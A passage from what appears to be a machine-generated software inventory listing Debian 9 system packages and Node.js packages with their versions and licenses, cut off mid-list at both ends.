['GPL-2']}, {'type': 'os', 'name': 'base-files', 'version': '9.9+deb9u13', 'licenses': ['GPL']}, {'type': 'os', 'name': 'dh-python', 'version': '2.20170125', 'licenses': []}, {'type': 'os', 'name': 'gzip', 'version': '1.6-5', 'licenses': ['GPL']}, {'type': 'os', 'name': 'findutils', 'version': '4.6.0+git+20161106-2', 'licenses': ['GPL-3']}, {'type': 'os', 'name': 'diffutils', 'version': '1:3.5-3', 'licenses': ['GPL']}, {'type': 'os', 'name': 'debian-archive-keyring', 'version': '2017.5+deb9u1', 'licenses': ['GPL']}, {'type': 'os', 'name': 'grep', 'version': '2.27-2', 'licenses': ['GPL-3+']}, {'type': 'os', 'name': 'm4', 'version': '1.4.18-1', 'licenses': ['GPL']}, {'type': 'os', 'name': 'coreutils', 'version': '8.26-3', 'licenses': ['GPL-3']}, {'type': 'os', 'name': 'ucf', 'version': '3.0036', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'netbase', 'version': '5.4', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'wget', 'version': '1.18-5+deb9u3', 'licenses': ['GPL-3']}, {'type': 'os', 'name': 'sed', 'version': '4.4-1', 'licenses': ['GPL-3']}, {'type': 'os', 'name': 'debianutils', 'version': '4.8.1.1', 'licenses': ['GPL']}, {'type': 'os', 'name': 'autoconf', 'version': '2.69-10', 'licenses': ['GPL-3+']}, {'type': 'os', 'name': 'sensible-utils', 'version': '0.0.9+deb9u1', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'patch', 'version': '2.7.5-1+deb9u2', 'licenses': ['GPL']}, {'type': 'os', 'name': 'debconf', 'version': '1.5.61', 'licenses': ['BSD-2-clause']}, {'type': 'os', 'name': 'autotools-dev', 'version': '20161112.1', 'licenses': ['GPL']}, {'type': 'os', 'name': 'binutils', 'version': '2.28-5', 'licenses': ['GPL']}, {'type': 'os', 'name': 'adduser', 'version': '3.115', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'pkg-config', 'version': '0.29-4', 'licenses': ['GPL']}, {'type': 'os', 'name': 'libidn2-0', 'version': '0.16-1+deb9u1', 'licenses': ['GPL-3+']}, {'type': 'os', 'name': 'base-passwd', 'version': '3.5.43', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'tzdata', 'version': '2021a-0+deb9u1', 'licenses': []}, {'type': 'os', 'name': 'liberror-perl', 'version': '0.17024-1', 'licenses': ['Artistic or GPL-1+']}, {'type': 'os', 'name': 'unzip', 'version': '6.0-21+deb9u2', 'licenses': []}, {'type': 'os', 'name': 'init-system-helpers', 'version': '1.48', 'licenses': ['BSD-3-clause']}, {'type': 'os', 'name': 'libtasn1-6', 'version': '4.10-1.1+deb9u1', 'licenses': ['LGPL']}, {'type': 'os', 'name': 'hostname', 'version': '3.18', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'mawk', 'version': '1.3.3-17', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'libcap2', 'version': '1:2.25-1', 'licenses': ['BSD-3-clause or GPL-2']}, {'type': 'os', 'name': 'hicolor-icon-theme', 'version': '0.15-1', 'licenses': ['GPL']}, {'type': 'os', 'name': 'bash', 'version': '4.4-5', 'licenses': ['GPL-3']}, {'type': 'os', 'name': 'tar', 'version': '1.29b-1.1', 'licenses': ['GPL-3']}, {'type': 'os', 'name': 'shared-mime-info', 'version': '1.8-1+deb9u1', 'licenses': ['GPL']}, {'type': 'os', 'name': 'libgcrypt20', 'version': '1.7.6-2+deb9u3', 'licenses': ['LGPL']}, {'type': 'os', 'name': 'xorg-sgml-doctools', 'version': '1:1.11-1', 'licenses': []}, {'type': 'os', 'name': 'mime-support', 'version': '3.60', 'licenses': []}, {'type': 'os', 'name': 'dash', 'version': '0.5.8-2.4', 'licenses': ['GPL']}, {'type': 'os', 'name': 'gnome-icon-theme', 'version': '3.12.0-2', 'licenses': ['LGPL-3']}, {'type': 'os', 'name': 'ca-certificates', 'version': '20200601~deb9u2', 'licenses': ['GPL-2+']}, {'type': 'os', 'name': 'sqlite3', 'version': '3.16.2-5+deb9u3', 'licenses': ['GPL-2+']}, {'type': 'os', 'name': 'x11proto-core', 'version': '7.0.31-1', 'licenses': []}, {'type': 'os', 'name': 'libtool', 'version': '2.4.6-2', 'licenses': ['GPL']}, {'type': 'os', 'name': 'gcc-6', 'version': '6.3.0-18+deb9u1', 'licenses': ['GPL']}, {'type': 'os', 'name': 'imagemagick', 'version': '8:6.9.7.4+dfsg-11+deb9u12', 'licenses': ['GPL-2+']}, {'type': 'os', 'name': 'apr-util', 'version': '1.5.4-3', 'licenses': ['Apache-2.0']}, {'type': 'os', 'name': 'configobj', 'version': '5.0.6-2', 'licenses': ['BSD-3-clause']}, {'type': 'os', 'name': 'gdk-pixbuf', 'version': '2.36.5-2+deb9u2', 'licenses': ['LGPL-2']}, {'type': 'os', 'name': 'libxpm', 'version': '1:3.5.12-1', 'licenses': []}, {'type': 'os', 'name': 'lsb', 'version': '9.20161125', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'x11proto-kb', 'version': '1.0.7-1', 'licenses': []}, {'type': 'os', 'name': 'fonts-dejavu', 'version': '2.37-1', 'licenses': ['GPL-2+']}, {'type': 'os', 'name': 'util-linux', 'version': '2.29.2-1+deb9u1', 'licenses': ['GPL-2+']}, {'type': 'os', 'name': 'procps', 'version': '2:3.3.12-3+deb9u1', 'licenses': ['LGPL-2.1+']}, {'type': 'os', 'name': 'dpkg', 'version': '1.18.25', 'licenses': ['GPL-2+']}, {'type': 'os', 'name': 'mpclib3', 'version': '1.0.3-1', 'licenses': ['LGPL-2.1']}, {'type': 'os', 'name': 'libbsd', 'version': '0.8.3-1+deb9u1', 'licenses': ['BSD-3-clause']}, {'type': 'os', 'name': 'sysvinit', 'version': '2.88dsf-59.9', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'openssh', 'version': '1:7.4p1-10+deb9u7', 'licenses': ['BSD-3-clause']}, {'type': 'os', 'name': 'isl', 'version': '0.18-1', 'licenses': ['MIT']}, {'type': 'os', 'name': 'libpsl', 'version': '0.17.0-3', 'licenses': ['MIT']}, {'type': 'os', 'name': 'cairo', 'version': '1.14.8-1+deb9u1', 'licenses': ['LGPL-2.1']}, {'type': 'os', 'name': 'cdebconf', 'version': '0.227', 'licenses': []}, {'type': 'os', 'name': 'libxau', 'version': '1:1.0.8-1', 'licenses': []}, {'type': 'os', 'name': 'apr', 'version': '1.5.2-5', 'licenses': ['Apache-2.0']}, {'type': 'os', 'name': 'xz-utils', 'version': '5.2.2-1.2', 'licenses': ['GPL-2+']}, {'type': 'os', 'name': 'libcap-ng', 'version': '0.7.7-3', 'licenses': ['LGPL-2.1']}, {'type': 'os', 'name': 'djvulibre', 'version': '3.5.27.1-7', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'subversion', 'version': '1.9.5-1+deb9u6', 'licenses': ['Apache-2.0']}, {'type': 'os', 'name': 'acl', 'version': '2.2.52-3', 'licenses': ['LGPL-2.1']}, {'type': 'os', 'name': 'x11proto-input', 'version': '2.3.2-1', 'licenses': []}, {'type': 'os', 'name': 'harfbuzz', 'version': '1.4.2-1', 'licenses': ['MIT']}, {'type': 'os', 'name': 'libsemanage', 'version': '2.6-2', 'licenses': ['LGPL']}, {'type': 'os', 'name': 'libxdamage', 'version': '1:1.1.4-2', 'licenses': []}, {'type': 'os', 'name': 'libksba', 'version': '1.3.5-2', 'licenses': ['GPL-3']}, {'type': 'os', 'name': 'mariadb-10.1', 'version': '10.1.48-0+deb9u2', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'gnutls28', 'version': '3.5.8-5+deb9u5', 'licenses': ['LGPL']}, {'type': 'os', 'name': 'postgresql-9.6', 'version': '9.6.20-0+deb9u1', 'licenses': ['GPL-1']}, {'type': 'os', 'name': 'libsm', 'version': '2:1.2.2-1', 'licenses': []}, {'type': 'os', 'name': 'libxext', 'version': '2:1.3.3-1', 'licenses': []}, {'type': 'os', 'name': 'libxml2', 'version': '2.9.4+dfsg1-2.2+deb9u4', 'licenses': []}, {'type': 'os', 'name': 'openssl1.0', 'version': '1.0.2u-1~deb9u4', 'licenses': []}, {'type': 'os', 'name': 'libxdmcp', 'version': '1:1.1.2-3', 'licenses': []}, {'type': 'os', 'name': 'libthai', 'version': '0.1.26-1', 'licenses': ['LGPL-2.1+']}, {'type': 'os', 'name': 'libunistring', 'version': '0.9.6+really0.9.3-0.1', 'licenses': ['LGPL-3+']}, {'type': 'os', 'name': 'python3-defaults', 'version': '3.5.3-1', 'licenses': []}, {'type': 'os', 'name': 'gtk+2.0', 'version': '2.24.31-2', 'licenses': ['LGPL-2']}, {'type': 'os', 'name': 'libexif', 'version': '0.6.21-2+deb9u5', 'licenses': ['LGPL-2.1+']}, {'type': 'os', 'name': 'libxfixes', 'version': '1:5.0.3-1', 'licenses': []}, {'type': 'os', 'name': 'systemd', 'version': '232-25+deb9u12', 'licenses': ['LGPL-2.1+']}, {'type': 'os', 'name': 'gcc-defaults', 'version': '1.168', 'licenses': ['GPL']}, {'type': 'os', 'name': 'gnupg2', 'version': '2.1.18-8~deb9u4', 'licenses': ['GPL-3+']}, {'type': 'os', 'name': 'curl', 'version': '7.52.1-5+deb9u13', 'licenses': ['BSD-3-Clause']}, {'type': 'os', 'name': 'libevent', 'version': '2.0.21-stable-3', 'licenses': []}, {'type': 'os', 'name': 'ncurses', 'version': '6.0+20161126-1+deb9u2', 'licenses': []}, {'type': 'os', 'name': 'libdatrie', 'version': '0.2.10-4', 'licenses': ['LGPL-2.1+']}, {'type': 'os', 'name': 'six', 'version': '1.10.0-3', 'licenses': []}, {'type': 'os', 'name': 'libxcursor', 'version': '1:1.1.14-1+deb9u2', 'licenses': []}, {'type': 'os', 'name': 'xtrans', 'version': '1.3.5-1', 'licenses': []}, {'type': 'os', 'name': 'e2fsprogs', 'version': '1.43.4-2+deb9u2', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'atk1.0', 'version': '2.22.0-1', 'licenses': ['LGPL-2']}, {'type': 'os', 'name': 'shadow', 'version': '1:4.4-4.1+deb9u1', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'gtk+3.0', 'version': '3.22.11-1', 'licenses': ['LGPL-2+']}, {'type': 'os', 'name': 'libxrandr', 'version': '2:1.5.1-1', 'licenses': []}, {'type': 'os', 'name': 'libyaml', 'version': '0.1.7-2', 'licenses': []}, {'type': 'os', 'name': 'liblqr', 'version': '0.4.2-2', 'licenses': ['LGPL-3']}, {'type': 'os', 'name': 'python-defaults', 'version': '2.7.13-2', 'licenses': []}, {'type': 'os', 'name': 'librsvg', 'version': '2.40.21-0+deb9u1', 'licenses': ['LGPL-2+']}, {'type': 'os', 'name': 'libxinerama', 'version': '2:1.1.3-1', 'licenses': []}, {'type': 'os', 'name': 'python3.5', 'version': '3.5.3-1+deb9u4', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'libxt', 'version': '1:1.1.5-1', 'licenses': []}, {'type': 'os', 'name': 'gobject-introspection', 'version': '1.50.0-1', 'licenses': ['GPL-2+']}, {'type': 'os', 'name': 'mpfr4', 'version': '3.1.5-1', 'licenses': ['LGPL-3']}, {'type': 'os', 'name': 'mpdecimal', 'version': '2.4.2-1', 'licenses': ['BSD']}, {'type': 'os', 'name': 'libpthread-stubs', 'version': '0.3-4', 'licenses': []}, {'type': 'os', 'name': 'openssl', 'version': '1.1.0l-1~deb9u3', 'licenses': []}, {'type': 'os', 'name': 'libjpeg-turbo', 'version': '1:1.5.1-2+deb9u1', 'licenses': ['BSD-BY-LC-NE']}, {'type': 'os', 'name': 'expat', 'version': '2.2.0-2+deb9u3', 'licenses': []}, {'type': 'os', 'name': 'openldap', 'version': '2.4.44+dfsg-5+deb9u8', 'licenses': []}, {'type': 'os', 'name': 'libmnl', 'version': '1.0.4-2', 'licenses': ['LGPL-2.1']}, {'type': 'os', 'name': 'jquery', 'version': '3.1.1-2+deb9u2', 'licenses': ['GPL-2 or MIT']}, {'type': 'os', 'name': 'elfutils', 'version': '0.168-1', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'pcre3', 'version': '2:8.39-3', 'licenses': []}, {'type': 'os', 'name': 'attr', 'version': '1:2.4.47-2', 'licenses': ['LGPL-2.1']}, {'type': 'os', 'name': 'ilmbase', 'version': '2.2.0-12', 'licenses': []}, {'type': 'os', 'name': 'python2.7', 'version': '2.7.13-2+deb9u5', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'gts', 'version': '0.7.6+darcs121130-4', 'licenses': ['LGPL-2+']}, {'type': 'os', 'name': 'libmaxminddb', 'version': '1.2.0-1+deb9u1', 'licenses': ['Apache-2.0']}, {'type': 'os', 'name': 'libssh2', 'version': '1.7.0-1+deb9u1', 'licenses': ['BSD3']}, {'type': 'os', 'name': 'lz4', 'version': '0.0~r131-2', 'licenses': ['BSD-2-clause']}, {'type': 'os', 'name': 'keyutils', 'version': '1.5.9-9', 'licenses': ['GPL-2+']}, {'type': 'os', 'name': 'libcroco', 'version': '0.6.11-3', 'licenses': ['LGPL']}, {'type': 'os', 'name': 'explorercanvas', 'version': '0.r3-4', 'licenses': ['Apache-2.0']}, {'type': 'os', 'name': 'git', 'version': '1:2.11.0-3+deb9u7', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'avahi', 'version': '0.6.32-2', 'licenses': ['LGPL-2.1']}, {'type': 'os', 'name': 'openjpeg2', 'version': '2.1.2-1.1+deb9u6', 'licenses': ['BSD-2']}, {'type': 'os', 'name': 'fftw3', 'version': '3.3.5-3', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'glib2.0', 'version': '2.50.3-2+deb9u2', 'licenses': ['LGPL']}, {'type': 'os', 'name': 'libx11', 'version': '2:1.6.4-3+deb9u3', 'licenses': []}, {'type': 'os', 'name': 'x11proto-render', 'version': '2:0.11.1-2', 'licenses': []}, {'type': 'os', 'name': 'x11proto-xext', 'version': '7.3.0-1', 'licenses': []}, {'type': 'os', 'name': 'db5.3', 'version': '5.3.28-12+deb9u1', 'licenses': []}, {'type': 'os', 'name': 'p11-kit', 'version': '0.23.3-2+deb9u1', 'licenses': ['BSD-3-Clause']}, {'type': 'os', 'name': 'libpng1.6', 'version': '1.6.28-1+deb9u1', 'licenses': ['GPL-2+ or BSD-like-with-advertising-clause']}, {'type': 'os', 'name': 'libxcb', 'version': '1.12-1', 'licenses': []}, {'type': 'os', 'name': 'libxslt', 'version': '1.1.29-2.1+deb9u2', 'licenses': []}, {'type': 'os', 'name': 'npth', 'version': '1.3-1', 'licenses': ['GPL-2+ or LGPL-3+']}, {'type': 'os', 'name': 'libsepol', 'version': '2.6-2', 'licenses': ['LGPL']}, {'type': 'os', 'name': 'automake-1.15', 'version': '1:1.15-6', 'licenses': ['GPL-2+']}, {'type': 'os', 'name': 'gmp', 'version': '2:6.1.2+dfsg-1', 'licenses': ['LGPL-3']}, {'type': 'os', 'name': 'rtmpdump', 'version': '2.4+20151223.gitfa8646d.1-1', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'lcms2', 'version': '2.8-4+deb9u1', 'licenses': ['MIT']}, {'type': 'os', 'name': 'openexr', 'version': '2.2.0-11+deb9u2', 'licenses': []}, {'type': 'os', 'name': 'apt', 'version': '1.4.11', 'licenses': ['GPLv2+']}, {'type': 'os', 'name': 'iputils', 'version': '3:20161105-1', 'licenses': ['GPL']}, {'type': 'os', 'name': 'libice', 'version': '2:1.0.9-2', 'licenses': []}, {'type': 'os', 'name': 'xorg', 'version': '1:7.7+19', 'licenses': ['GPL']}, {'type': 'os', 'name': 'libselinux', 'version': '2.6-3', 'licenses': ['LGPL-2.1']}, {'type': 'os', 'name': 'freetype', 'version': '2.6.3-3.2+deb9u2', 'licenses': ['GPL-2+ or FTL']}, {'type': 'os', 'name': 'libwmf', 'version': '0.2.8.4-10.6', 'licenses': ['LGPL-2']}, {'type': 'os', 'name': 'dbus', 'version': '1.10.32-0+deb9u1', 'licenses': ['GPL-2+ or AFL-2.1']}, {'type': 'os', 'name': 'libffi', 'version': '3.2.1-6', 'licenses': ['GPL']}, {'type': 'os', 'name': 'serf', 'version': '1.3.9-3+deb9u1', 'licenses': ['Apache']}, {'type': 'os', 'name': 'audit', 'version': '1:2.6.7-2', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'pixman', 'version': '0.34.0-1', 'licenses': []}, {'type': 'os', 'name': 'krb5', 'version': '1.15-1+deb9u2', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'readline', 'version': '7.0-3', 'licenses': ['GPL-3']}, {'type': 'os', 'name': 'libgd2', 'version': '2.2.4-2+deb9u5', 'licenses': ['GPL-2+ with Autoconf exception']}, {'type': 'os', 'name': 'ustr', 'version': '1.0.4-6', 'licenses': ['LGPL-2+ or BSD-2-clause or MIT']}, {'type': 'os', 'name': 'libedit', 'version': '3.1-20160903-3', 'licenses': []}, {'type': 'os', 'name': 'cyrus-sasl2', 'version': '2.1.27~101-g0780600+dfsg-3+deb9u1', 'licenses': ['BSD-4-clause']}, {'type': 'os', 'name': 'pango1.0', 'version': '1.40.5-1', 'licenses': ['LGPL-2']}, {'type': 'os', 'name': 'pinentry', 'version': '1.0.0-2', 'licenses': ['GPL-2+']}, {'type': 'os', 'name': 'libidn', 'version': '1.33-1+deb9u1', 'licenses': ['GPL-3+']}, {'type': 'os', 'name': 'tiff', 'version': '4.0.8-2+deb9u5', 'licenses': []}, {'type': 'os', 'name': 'fontconfig', 'version': '2.11.0-6.7', 'licenses': []}, {'type': 'os', 'name': 'libxrender', 'version': '1:0.9.10-1', 'licenses': []}, {'type': 'os', 'name': 'bzip2', 'version': '1.0.6-8.1', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'gdbm', 'version': '1.8.3-14', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'bzr', 'version': '2.7.0+bzr6619-7+deb9u1', 'licenses': ['GPL-2+']}, {'type': 'os', 'name': 'icu', 'version': '57.1-6+deb9u4', 'licenses': []}, {'type': 'os', 'name': 'pam', 'version': '1.1.8-3.6', 'licenses': ['GPL']}, {'type': 'os', 'name': 'mercurial', 'version': '4.0-1+deb9u2', 'licenses': ['GPL-2+']}, {'type': 'os', 'name': 'zlib', 'version': '1:1.2.8.dfsg-5', 'licenses': []}, {'type': 'os', 'name': 'libgpg-error', 'version': '1.26-2', 'licenses': ['GPL-2.1+']}, {'type': 'os', 'name': 'libxi', 'version': '2:1.7.9-1', 'licenses': []}, {'type': 'os', 'name': 'nghttp2', 'version': '1.18.1-1+deb9u1', 'licenses': ['MIT']}, {'type': 'os', 'name': 'cups', 'version': '2.2.1-8+deb9u6', 'licenses': ['GPL-2.0 with AOSDL exception']}, {'type': 'os', 'name': 'jbigkit', 'version': '2.1-3.1', 'licenses': ['GPL-2+']}, {'type': 'os', 'name': 'perl', 'version': '5.24.1-3+deb9u7', 'licenses': ['GPL-1+ or Artistic']}, {'type': 'os', 'name': 'db-defaults', 'version': '5.3.1', 'licenses': ['GPL-3']}, {'type': 'os', 'name': 'libxcomposite', 'version': '1:0.4.4-2', 'licenses': []}, {'type': 'os', 'name': 'graphite2', 'version': '1.3.10-1', 'licenses': ['LGPL-2+']}, {'type': 'os', 'name': 'glibc', 'version': '2.24-11+deb9u4', 'licenses': ['LGPL-2.1']}, {'type': 'os', 'name': 'file', 'version': '1:5.30-1+deb9u3', 'licenses': ['BSD-2-Clause-alike']}, {'type': 'os', 'name': 'nettle', 'version': '3.3-1', 'licenses': ['LGPL-2.1+']}, {'type': 'os', 'name': 'libwebp', 'version': '0.5.2-1', 'licenses': ['Apache-2.0']}, {'type': 'os', 'name': 'graphviz', 'version': '2.38.0-17', 'licenses': ['MIT']}, {'type': 'os', 'name': 'libassuan', 'version': '2.4.3-2', 'licenses': ['LGPL-2.1+']}, {'type': 'os', 'name': 'mysql-defaults', 'version': '1.0.2', 'licenses': ['GPL-2+']}, {'type': 'os', 'name': 'libsigsegv', 'version': '2.10-5', 'licenses': ['GPL']}, {'type': 'os', 'name': 'lzo2', 'version': '2.08-1.2', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'linux', 'version': '4.9.258-1', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'make-dfsg', 'version': '4.1-9.1', 'licenses': ['GPL-3+']}, {'type': 'nodejs', 'name': 'readable-stream', 'version': '2.3.6', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'string_decoder', 'version': '1.1.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'buffer-from', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'ms', 'version': '2.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'lodash._createcache', 'version': '3.1.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'read-installed', 'version': '4.0.3', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'semver', 'version': '5.7.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'ansi-styles', 'version': '3.2.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'spdx-exceptions', 'version': '2.1.0', 'licenses': ['CC-BY-3.0']}, {'type': 'nodejs', 'name': 'xtend', 'version': '4.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'set-blocking', 'version': '2.0.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'create-error-class', 'version': '3.0.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'define-properties', 'version': '1.1.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'minizlib', 'version': '1.3.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'mkdirp', 'version': '0.5.5', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'npm-init', 'version': '0.0.0', 'licenses': ['BSD']}, {'type': 'nodejs', 'name': 'rc', 'version': '1.2.8', 'licenses': ['(BSD-2-Clause OR MIT OR Apache-2.0)']}, {'type': 'nodejs', 'name': 'readable-stream', 'version': '1.1.14', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'cli-table3', 'version': '0.5.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'configstore', 'version': '3.1.5', 'licenses': ['BSD-2-Clause']}, {'type': 'nodejs', 'name': 'delayed-stream', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'extsprintf', 'version': '1.3.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'libnpmaccess', 'version': '3.0.2', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'qw', 'version': '1.0.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'sha', 'version': '3.0.0', 'licenses': ['(BSD-2-Clause OR MIT)']}, {'type': 'nodejs', 'name': 'strip-json-comments', 'version': '2.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'asn1', 'version': '0.2.4', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'libnpmorg', 'version': '1.0.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'meant', 'version': '1.0.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'sshpk', 'version': '1.14.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'string_decoder', 'version': '1.3.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'unpipe', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'wide-align', 'version': '1.1.2', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'is-installed-globally', 'version': '0.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'flush-write-stream', 'version': '1.0.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'from2', 'version': '2.3.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'p-limit', 'version': '2.2.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'lru-cache', 'version': '5.1.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'npm-cache-filename', 'version': '1.0.2', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'package-json', 'version': '4.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'readable-stream', 'version': '3.6.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'dashdash', 'version': '1.14.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'slide', 'version': '1.1.6', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'dezalgo', 'version': '1.0.3', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'gentle-fs', 'version': '2.3.1', 'licenses': ['Artistic-2.0']}, {'type': 'nodejs', 'name': 'jsbn', 'version': '0.1.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'lodash._root', 'version': '3.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'mississippi', 'version': '3.0.0', 'licenses': ['BSD-2-Clause']}, {'type': 'nodejs', 'name': 'normalize-package-data', 'version': '2.5.0', 'licenses': ['BSD-2-Clause']}, {'type': 'nodejs', 'name': 'opener', 'version': '1.5.2', 'licenses': ['(WTFPL OR MIT)']}, {'type': 'nodejs', 'name': 'detect-newline', 'version': '2.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'retry', 'version': '0.12.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'sorted-object', 'version': '2.0.1', 'licenses': ['(WTFPL OR MIT)']}, {'type': 'nodejs', 'name': 'uuid', 'version': '3.3.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'path-exists', 'version': '3.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'execa', 'version': '0.7.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'lodash._baseuniq', 'version': '4.6.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'require-directory', 'version': '2.1.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'ansistyles', 'version': '0.1.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'https-proxy-agent', 'version': '2.2.4', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'is-ci', 'version': '1.2.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'lockfile', 'version': '1.0.4', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'pseudomap', 'version': '1.0.2', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'has-flag', 'version': '3.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'spdx-license-ids', 'version': '3.0.5', 'licenses': ['CC0-1.0']}, {'type': 'nodejs', 'name': 'validate-npm-package-name', 'version': '3.0.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'yargs-parser', 'version': '15.0.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'path-is-absolute', 'version': '1.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'lodash._bindcallback', 'version': '3.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'lodash.uniq', 'version': '4.5.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'minimist', 'version': '1.2.5', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'npm-user-validate', 'version': '1.0.1', 'licenses': ['BSD-2-Clause']}, {'type': 'nodejs', 'name': 'prepend-http', 'version': '1.0.4', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'wrappy', 'version': '1.0.2', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'chalk', 'version': '2.4.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'emoji-regex', 'version': '7.0.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'iferr', 'version': '1.0.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'ignore-walk', 'version': '3.0.3', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'import-lazy', 'version': '2.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'ini', 'version': '1.3.8', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'number-is-nan', 'version': '1.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'string-width', 'version': '2.1.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'asynckit', 'version': '0.4.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'worker-farm', 'version': '1.7.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'concat-map', 'version': '0.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'escape-string-regexp', 'version': '1.0.5', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'mute-stream', 'version': '0.0.7', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'parallel-transform', 'version': '1.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'bcrypt-pbkdf', 'version': '1.0.2', 'licenses': ['BSD-3-Clause']}, {'type': 'nodejs', 'name': 'is-date-object', 'version': '1.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'lodash.restparam', 'version': '3.6.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'resolve', 'version': '1.10.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'npm-audit-report', 'version': '1.3.3', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'npm-lifecycle', 'version': '3.1.5', 'licenses': ['Artistic-2.0']}, {'type': 'nodejs', 'name': 'shebang-regex', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'fs-minipass', 'version': '1.2.7', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'libnpm', 'version': '3.0.1', 'licenses': ['ISC']}, 